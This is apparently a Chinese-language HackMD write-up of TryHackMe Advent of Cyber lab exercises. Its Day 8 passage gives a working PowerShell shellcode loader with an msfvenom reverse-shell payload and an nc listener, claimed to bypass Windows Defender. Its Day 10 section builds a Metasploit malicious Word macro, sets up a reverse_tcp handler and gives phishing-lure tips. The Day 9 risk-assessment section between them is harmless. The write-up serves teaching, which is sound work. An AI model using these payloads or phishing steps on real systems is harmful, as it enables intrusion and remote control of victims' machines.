一旦 ==shellcode== 被儲存在記憶體中，腳本就會透過`CreateThread`建立一個新線程來呼叫該函數來執行 ==shellcode==。該線程被指示從==shellcode==所在的記憶體位址(`$addr`)開始執行。然後腳本使用`WaitForSingleObject`函數，確保它等待 ==shellcode== 執行完成後再繼續。這可以確保 ==shellcode== 在腳本結束執行之前完全運行。

---

:::danger
Time for Some Action - Executing the Shellcode
:::

在 AttackBox 上，執行命令 `nc -nvlp 1111`以在連接埠上啟動監聽器在Port `1111`並等待傳入連線。此命令打開連接埠`1111`並偵聽連接，一旦建立連接，AttackBox 就可以接收資料。

```bash!
root@attackbox:~# nc -nvlp 1111 
Listening on [0.0.0.0] (family 0, port 1111) 
```

在 ==AttackBox== 上，首先導覽到桌面。右鍵單擊`Desktop`，選擇`Create Document`，然後選擇`Empty File`。打開這個新檔案並將先前提供的==PowerShell==腳本程式碼貼到其中。尋找標記的部分`SHELLCODE_PLACEHOLDER`並將其替換為我們之前使用`msfvenom`建立的 `shell code`。

![image](https://hackmd.io/_uploads/S1m8QBjVkx.png)

新增 `shellcode` 後， 導覽至附加的 VM，透過點擊工作列上的 ==PowerShell==圖示開啟==PowerShell==，並將最近建立的文件中的部分程式碼貼到 ==Windows PowerShell==視窗。例如，要複製和貼上的第一部分是以下區塊：

```powershell!
$VrtAlloc = @"
using System;
using System.Runtime.InteropServices;

public class VrtAlloc{
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
}
"@

Add-Type $VrtAlloc 

$WaitFor= @"
using System;
using System.Runtime.InteropServices;

public class WaitFor{
 [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);   
}
"@

Add-Type $WaitFor

$CrtThread= @"
using System;
using System.Runtime.InteropServices;

public class CrtThread{
 [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  
}
"@
Add-Type $CrtThread   
```

然後貼上下面的行，用 ==msfvenom== 產生的 ==shellcode== 取代佔位符，然後按 `Enter`

```powershell!
[Byte[]] $buf = SHELLCODE_PLACEHOLDER
```

繼續複製並貼上下面程式碼中的行。請記住，一次複製一行，貼上它，然後按 `Enter`。

```powershell!
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
```

注意：如果您的==PowerShell==終端機意外關閉，則表示您的nc監聽器無法訪問，可能是因為它沒有運作或正在偵聽錯誤的連接埠或 IP。

如果操作正確，VM中的==PowerShell==終端將如下圖所示：

![image](https://hackmd.io/_uploads/SkblVSsEyx.png)

在==PowerShell==終端機執行最後一行並按 後 `Enter`，您將在 ==AttackBox== 中取得==reverse shell==，即使啟用了==Windows Defender==，您也可以完全存取電腦。現在您可以發出任何命令，例如發出 `dir`，它將列出所有目錄。

:::spoiler ***問題***
#### 1.What is the flag value once Glitch gets reverse shell on the digital vault using port 4444? Note: The flag may take around a minute to appear in the C:\Users\glitch\Desktop directory. You can view the content of the flag by using the command type C:\Users\glitch\Desktop\flag.txt.

:::spoiler **Writeup**

將`msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKBOX_IP LPORT=1111 -f powershell`的`LPORT`改成`4444`，然後將新產生的shellcode貼進去腳本裡，nc也記得改成port4444，然後執行後就可以看到flag在Desktop了

:::

## Day9 GRC

:::danger
*Nine o'clock, make GRC fun, tell no one.*
:::

---

:::info
Introduction to GRC
:::

Governance, Risk, and Compliance 治理、風險和合規性 (GRC) 在任何組織中都發揮著至關重要的作用，以確保其安全實踐符合其個人、監管和法律義務。雖然一般來說良好的安全實踐有助於保護企業免受破壞，但根據組織運營的行業，可能需要遵守外部安全法規。

![image](https://assets.tryhackme.com/additional/aoc2024/gifs/da9-1.gif)

讓我們來看看金融領域的一些例子：

- **Reserve Bank Regulations**:在大多數國家，銀行必須遵守該國==儲備銀行==所製定的==安全規定==。這確保每家銀行遵守最低安全級別，以保護其客戶的資金和資訊。
- **SWIFT CSP**： 銀行使用 SWIFT 網路相互通訊並發送資金。在大規模銀行資料外洩導致 8,100 萬美元的 SWIFT 轉帳詐欺之後 ，SWIFT 創建了客戶安全計畫 ( CSP )，為銀行連接到 SWIFT 網路設定了安全標準。
- **Data Protection**：由於銀行持有有關其客戶的敏感信息，因此它們必須遵守其資料監管機構（通常是大多數國家的儲備銀行）制定的安全標準。

:::info
GRC三功能
:::

**Governance**![image](https://hackmd.io/_uploads/BkI3UBiVJg.png)


治理是創造組織用來制定資訊安全決策的框架的功能。治理是根據組織的總體目標創建組織的安全策略、政策、標準和實踐。治理也定義了組織中每個人必須扮演的角色和責任，以幫助確保滿足這些安全標準。

---

**Risk**![image](https://hackmd.io/_uploads/SyXxvSiEke.png)


風險是幫助識別、評估、量化和減輕組織 IT 資產風險的功能。風險有助於組織了解潛在的威脅和漏洞，以及威脅行為者執行或利用它們時可能產生的影響。只需打開計算機，組織就會面臨一定程度的網路攻擊風險。風險功能對於幫助將整體風險降低到可接受的水平並在發生網路攻擊時制定應急計劃非常重要。

---

**ComplianceClipboard of compliance**![image](https://hackmd.io/_uploads/HJByDSjVye.png)

合規性是確保組織遵守所有外部法律、法規和行業標準的職能。例如，遵守GDPR 法律或使組織的安全符合NIST或 ==ISO 27001== 等行業標準。

---

:::info
Introduction to Risk Assessments
:::

在 McSkidy 和 Glitch 選擇一家電子取證公司來處理其取證資料之前，他們需要弄清楚哪一家是最安全的選擇。這就是風險評估的用武之地。可以將其視為徒步旅行前查看天氣；如果暴風雨即將來臨，您需要提前知道，以便做好準備或更改計劃。

---

:::success
Why Are Risk Assessments Done?
:::

風險評估就像是對企業的現實檢驗。他們將網路安全與大局聯繫起來，從而最大限度地降低業務風險。換句話說，這不僅涉及保護數據，還涉及保護整個業務。

想像一下，您經營一家在線商店，該商店收集客戶信息，例如姓名、地址和信用卡詳細信息。如果由於安全系統薄弱而導致數據被盜，那麼面臨風險的不僅僅是數據，您的聲譽、客戶信任甚至您的利潤都面臨風險。==風險評估==可以幫助您識別薄弱點並在出現問題之前修復它。

對於 McSkidy 和 Glitch 來說，評估每家電子取證公司的風險有助於他們確定哪家公司不太可能出現資料外洩或其他可能擾亂調查的問題。

---

:::success
Performing a Risk Assessment
:::

每個企業的主要目標都是產生收入和利潤。對大多數企業來說，網路安全並不直接有助於創造收入或利潤最大化。企業決定將部分來之不易的收入用於網路安全，以==避免因網路威脅而導致收入或聲譽損失的風險==。企業通常會採取這些步驟來實現這一目標。我們現在將完成風險登記冊的完成程序。==風險登記冊追蹤風險緩解的進度和所有未解決的風險==。下面的動畫顯示了此類風險登記冊的範例。讓我們來看看將風險新增至風險登記冊所需的步驟。

![image](https://assets.tryhackme.com/additional/aoc2024/gifs/day9-2.gif)

---

:::info
Identification of Risks
:::

為了評估風險，我們必須先確定可能導致網路威脅造成收入或聲譽損失的因素。此練習需要仔細評估==組織的攻擊面==並識別==可能用於損害組織的區域==。已識別風險的範例可以是：

- 未打補丁的 Web 伺服器。
- 沒有適當安全控制的高權限使用者帳戶。
- 可能連接到組織網路的惡意軟體感染的第三方供應商。
- 供應商已終止支援但仍在生產中的系統。

除了這些範例之外，組織還可能識別其他一些風險。然而，除了識別風險之外，還需要對這些==風險進行量化==。畢竟，在封閉和隔離的伺服器上出現風險的可能性與託管 Web 前端的面向公眾的伺服器有很大不同。***同樣，風險對皇冠上的寶石（例如包含機密資訊的主資料庫伺服器）的影響與具有虛擬資料的開發伺服器的影響有很大不同***。

---

:::info
﻿Assigning Likelihood to Each Risk
:::

一旦我們確定了風險和風險的可能性，下一步就是==量化該風險的實現可能對組織的影響==。例如，如果有一個面向公眾的 Web 伺服器未修補並遭到破壞，會對組織產生什麼影響？為風險分配影響評級不同的組織以不同的方式計算影響。有些組織可能會使==用CVSS評分==來計算風險的影響；其他人可能會使用根據特定資產的==機密性、完整性和可用性==得出的自己的評級，而其他人可能會根據事件的==嚴重性分類==來進行評級。與可能性類似，我們也==量化影響==，通常採用==1 到 5 的等級==。

* **資訊性**：影響非常低，幾乎不存在。
* **低**：影響組織營運某一領域的有限部分，幾乎沒有收入損失。
* **中**：完全影響組織運作的一部分，造成重大收入損失。
* **高**：影響組織運作的多個部分，造成重大收入損失
* **嚴重**：對組織構成生存威脅。

![image](https://hackmd.io/_uploads/ByGH9Ho4kl.png)


---

:::info
Assigning Impact to Each Risk
:::

執行風險評估的最後一步是決定==如何處理發現的風險==。我們可以先對風險本身進行一些計算。最簡單的計算==採用風險的可能性==並將其==乘以風險的影響以獲得分數==。為所有者標記風險一些風險登記冊使用更先進的評級系統，例如==DREAD==(微軟拿來評估威脅的系統)。為風險分配分數有助於組織優先考慮應首先補救的風險。

雖然您可能認為最簡單的答案是保護系統安全，這樣就沒有風險，但在現實生活中，事情並不是那麼簡單。實施更多的安全性需要花費更多的錢，如果我們==在安全性上花的錢多於我們不顧風險而可能損失的錢==，那也是沒有幫助的。

在最後一步中，我們決定誰擁有已識別的風險。然後，這些團隊成員負責進行額外的調查，以了解==消除風險的成本==以及==如果風險發生我們可能會損失什麼==。在安全成本較低的情況下，我們可以透過更多的安全控制來降低風險。然而，==如果成本更高，我們可以接受風險==。應始終記錄並定期審查已接受的風險，以確保成本未變更。

![image](https://hackmd.io/_uploads/ByTfpBiNJl.png)


---

:::info
Internal and Third-Party Risk Assessments
:::

風險評估不僅可以在組織內部進行，還可以用於評估===第三方===可能為我們組織帶來的風險。如今，利用第三方外包企業的關鍵職能已經很常見。例如，小型組織可能將其財務部門外包給大型審計公司，或者大型組織可能將其某些應用程式的開發外包給軟體工程公司。然而，這會改變風險，==因為我們可能無法完全控制第三方的安全==，但==第三方的妥協仍然可能導致我們的資料或敏感資產受到損害==。因此，我們==需要考慮第三方帶給我們的風險==。

---

:::success
Why Do Companies Do Internal Risk Assessments?
:::

==內部風險評估==可以幫助公司了解內部存在的風險。這就像仔細檢查你的房子周圍，檢查是否有任何洩漏或窗戶破損。

例如，如果一家公司發現其軟體已經過時，它可以優先更新它以防止潛在的攻擊。內部風險評估有助於：

* 找出安全方面的弱點。
* 將資源引導到最重要的領域。
* 遵守安全規則和法規。

---

:::success
Why Do Companies Do Risk Assessments of Third Parties?
:::

公司不僅要評估自己，還需要==評估與其他公司==（如供應商、供應商或合作夥伴）==合作所帶來的風險==。這稱為==第三方風險評估==，這一點很重要，==因為鏈條中的一個弱點可能會影響到每個人==。

讓我們簡單地說：McSkidy 和 Glitch 希望確保他們選擇的電子資料展示公司不會洩露或丟失敏感資料。因此，他們將審查這些公司是否：

* 有良好的安全措施來確保資料安全。
* 遵守資料保護規則。
* 與 McSkidy 和 Glitch 制定的安全標準保持一致。
 
透過進行第三方風險評估，McSkidy 和 Glitch 正在減少潛在的供應鏈風險，確保調查不會因為供應鏈中的安全環節薄弱而陷入麻煩。為此，McSkidy 必須創建==可發送給潛在第三方的風險評估==。根據第三方提供的答案，McSkidy 可以就哪個第三方最好做出明智的決定！

:::spoiler ***問題***

#### 1.What does GRC stand for?

#### 2.What is the flag you receive after performing the risk assessment?

:::spoiler **Writeup** 

# 1:
前面有寫

# 2:
跟著網站的指示評分就可以拿到flag了

:::


## Day10 Phishing

:::danger
He had a brain full of macros, and had shells in his soul.
:::

---

:::danger
Phishing Attacks
:::

安全性的強弱取決於最脆弱的環節。許多人認為，人是安全鏈中最脆弱的一環。試問，攻擊者是更容易攻擊一個已打上補丁且有防火牆保護的系統，還是說服用戶打開一個「重要」文件？因此，「人類駭客攻擊」通常最容易實現，屬於社交工程的一部分。

「釣魚」這個詞是一個諧音，模仿「fishing」（捕魚），但攻擊者並非在尋找海鮮。釣魚攻擊是透過向大量目標用戶發送「誘餌」訊息來進行的。此外，攻擊者通常會在訊息中營造一種緊迫感，促使目標用戶不經思考立即行動，從而提高攻擊成功的機率。其目的是偷取個人信息或安裝惡意軟件，通常是通過說服目標用戶填寫表單、打開文件或點擊鏈接來實現。

==你可能會突然收到一封聲稱你即將被收取大額費用的電子郵件，並要求你查看附件或鏈接中的詳細信息。攻擊者只需要讓目標用戶打開惡意文件或查看惡意鏈接，就能觸發特定的行動，從而獲取對受害者系統的控制權。==

---

:::warning
Macros
:::


MS Office 用戶的需求可能差異甚大，而預設安裝無法滿足所有這些需求。尤其是，某些用戶經常需要重複相同的任務，例如格式化、插入文本或進行計算。例如，將數字「1337」轉換為「一千三百三十七」這類數字轉換的需求。如果要轉換數百個數字，將會耗費大量時間。因此，需要一個自動化的解決方案來節省時間並減少手動工作。

在計算領域，巨集是指用於自動執行重複任務的一組程式化指令。MS Word 以及其他 MS Office 產品支援在文檔中添加巨集。在許多情況下，這些巨集是極大地節省時間的功能。然而，在網路安全領域，==這些自動化程序也可能被劫持來用於惡意目的==。

例如，要將巨集添加到 MS Word 文件中，我們需點擊「`View`」菜單，然後選擇「`Macros`」，如以下截圖中的 1 和 2 所示。我們需要指定巨集的名稱，並指定將其保存在當前文檔中，如 3 和 4 所示。最後，按下「`Create`」按鈕。

![image](https://hackmd.io/_uploads/Sk5psz3NJe.png)

讓我們探討攻擊者如何建立一個包含惡意巨集的 MS Word 文件，從而獲取 Marta 的系統存取權。

:::danger
Attack Plan
:::


在其計劃中，Mayor Malware需要建立一個帶有惡意巨集的文檔。當目標用戶打開該文檔時，巨集將執行惡意負載並連接至市長的機器，使他獲得遠程控制權。因此，市長需要在將文檔電郵給 Marta May Ware 之前，確保自己正在其機器上監聽來自外部的連線。透過執行巨集，市長將獲得對 Marta 系統的遠程存取權，並可透過==reverse== shell執行指令，遠程控制其機器。步驟如下：

1. 建立一個包含惡意巨集的文檔
2. 在攻擊者系統上開始監聽來自外部的連線
3. 將文檔發送電子郵件並等待目標用戶開啟
4. 目標用戶開啟文檔並連接至攻擊者系統
5. 控制目標用戶的系統

你可能會好奇為什麼不將惡意巨集設置為直接連接目標系統，而是選擇反向連接。原因在於，當目標系統位於==防火牆後方或擁有私人 IP 地址==時，==攻擊者無法直接訪問並連接至其系統==。

攻擊者的系統  
在 AttackBox 上，你需要完成以下兩個步驟：  

1. 創建一個嵌入malicious macro的文檔
2. 等待外部連線  

:::warning
Creating the Malicious Document
:::

第一步是將==malicious macro==嵌入到文檔中。另一種方式是使用 ==Metasploit Framework== 創建此類文檔，這樣可以省去使用 MS Office 的需求。  

以下是使用 ==Metasploit Framework== 創建嵌入惡意宏的文檔所需的指令：  

1. 打開一個新的終端窗口，輸入 `msfconsole` 啟動 ==Metasploit Framework==。  
2. 使用 `set payload windows/meterpreter/reverse_tcp` 指定將使用的 ==payload==。在這種情況下，==payload== 會連接到指定主機並創建一個==reverse shell==。  
3. 使用 `use exploit/multi/fileformat/office_word_macro` 指定將使用的 ==exploit== 模組。技術上來說，這並不是一個 ==exploit==，而是一個用來創建含有宏文檔的模組。  
4. 使用 `set LHOST CONNECTION_IP` 指定攻擊者系統的 IP 地址（此處的 CONNECTION_IP 是 AttackBox 的 IP）。  
5. 使用 `set LPORT 8888` 指定要監聽外部連線的埠號。  
6. 使用 `show options` 確認配置選項是否正確（如 IP 地址和埠號）。  
7. 使用 `exploit` 生成帶有宏的文檔並嵌入 ==payload==。  
8. 使用 `exit` 退出並返回終端。  

以下是這些指令的執行範例：  

```plaintext!
root@AttackBox:~# msfconsole 
[...]
Metasploit Documentation: https://docs.metasploit.com/

msf6 > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 > use exploit/multi/fileformat/office_word_macro
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/office_word_macro) > set LHOST 10.10.90.120
LHOST => 10.10.90.120
msf6 exploit(multi/fileformat/office_word_macro) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/fileformat/office_word_macro) > show options

Module options (exploit/multi/fileformat/office_word_macro):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CUSTOMTEMPLATE                   no        A docx file that will be used as a template to build the exploit
   FILENAME        msf.docm         yes       The Office document macro file (docm)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.90.120    yes       The listen address (an interface may be specified)
   LPORT     8888             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word on Windows


View the full module info with the info, or info -d command.

msf6 exploit(multi/fileformat/office_word_macro) > exploit

[*] Using template: /opt/metasploit-framework/embedded/framework/data/exploits/office_word_macro/template.docx
[*] Injecting payload in document comments
[*] Injecting macro and other required files in document
[*] Finalizing docm: msf.docm
[+] msf.docm stored at /root/.msf4/local/msf.docm
msf6 exploit(multi/fileformat/office_word_macro) > exit
```

完成後，生成的 Word 文檔（帶有嵌入的宏）會存儲在 `/root/.msf4/local/msf.docm`。

---

:::warning
The Created Macro-Enabled Document
:::

我們之前提到過如何在 MS Word 文件中建立巨集。您可能有興趣查看由 . 創建的文件的內容`msfconsole`。在下面的螢幕截圖中，我們可以看到組成該巨集的不同過程和函數。**注意：** `AttackBox` 沒有安裝 ==MS Office==，因此對於本節，您只需閱讀即可。

1. `AutoOpen()`開啟Word文件時自動觸發巨集。它搜尋文檔的屬性，尋找「註釋」欄位中的內容。==base64Comments==欄位中使用編碼保存的資料實際上是有效負載。
2. `Base64Decode()`將有效負載轉換為其原始形式。在本例中，它是一個可執行的 MS Windows 檔案。
3. `ExecuteForWindows()`在暫存目錄中執行==payload==。它連接到指定攻擊者的系統IP位址和連接埠。

![image](https://hackmd.io/_uploads/BJRtQX34yg.png)

==comments==如下面的螢幕截圖所示。在我們的例子中，它接近 100,000 個字元。

![image](https://hackmd.io/_uploads/HkWQ472Vye.png)

如果您複製它並將其保存到文字文件，您可以使用`base64`如下所示將其轉換為其原始可執行格式。您可以注意到文件的大小。

```plaintext!
root@AttackBox:~# base64 -d payload-base64.txt > payload.exe
root@attackbox:~# ls -lh
-rw-r--r--. 1 root root 97K payload-base64.txt
-rw-r--r--. 1 root root 73K payload.exe
```

您已經期望此文件連接到指定的 IP 位址和連接埠。如果您想檢查其在沙箱中的行為，可以檢查我們建立和上傳的文件的VirusTotal 報告。在這種情況下，它會嘗試連接到`10.9.18.120`.

![image](https://hackmd.io/_uploads/rJZOVQhEyl.png)


---

:::danger
Listening for Incoming Connections
:::

接下來，我們再次使用 Metasploit Framework，但這次的目的是監聽目標用戶開啟釣魚 Word 文檔後的外部連線：  

1. 打開一個新的終端窗口，輸入 `msfconsole` 啟動 Metasploit Framework。  
2. 使用 `use multi/handler` 來處理外部連線。  
3. 使用 `set payload windows/meterpreter/reverse_tcp` 確保 payload 與創建惡意宏時使用的 payload 一致。  
4. 使用 `set LHOST CONNECTION_IP` 指定攻擊者系統的 IP 地址，並與創建文檔時使用的地址一致。  
5. 使用 `set LPORT 8888` 指定監聽的埠號，並與創建文檔時使用的埠號一致。  
6. 使用 `show options` 確認選項值是否正確。  
7. 使用 `exploit` 開始監聽外部連線並建立反向 shell。  

範例如下：  

```plaintext
root@AttackBox:~# msfconsole 
[...]
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.90.120
LHOST => 10.10.90.120
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.90.120    yes       The listen address (an interface may be specified)
   LPORT     8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.90.120:8888
```

---

:::warning
Email the Malicious Document
:::

惡意文檔已經創建完畢。接下來需要將其發送給目標用戶。Mayor Malware 准備了以下郵件憑據：  

- **郵件地址**：`info@socnas.thm`  
- **密碼**：`MerryPhishMas!`

攻擊者使用了一個看似合法的域名（如 `socnas.thm`），這種技術被稱為「拼寫域名劫持（typosquatting）」。攻擊者會創建與合法域名幾乎相同的域名，來欺騙受害者。

在 AttackBox 上啟動 Firefox 瀏覽器，進入攻擊者的郵件系統（http://MACHINE_IP）。用以上憑據登錄，然後撰寫一封電子郵件給目標用戶，並附上之前創建的惡意文檔。在發送之前，將文檔名稱改得更具迷惑性（如 `invoice.docm` 或 `receipt.docm`），並在郵件正文中添加幾句話說明附件的重要性，增加 Marta May Ware 打開文檔的可能性。

---

:::danger
Exploitation
:::

如果一切順利，大約兩分鐘後，你將獲得一個==reverse shell==，可以通過命令列存取目標系統的文件和目錄，並使用 `cat` 命令查看任何文本文件的內容。


:::spoiler ***問題***

#### 1:What is the flag value inside the flag.txt file that’s located on the Administrator’s desktop?

:::spoiler **Writeup**

跟著題目做把payload寄過去之後就可以拿到==reverse shell==，flag path在`c:/users/Administrator/Desktop`

:::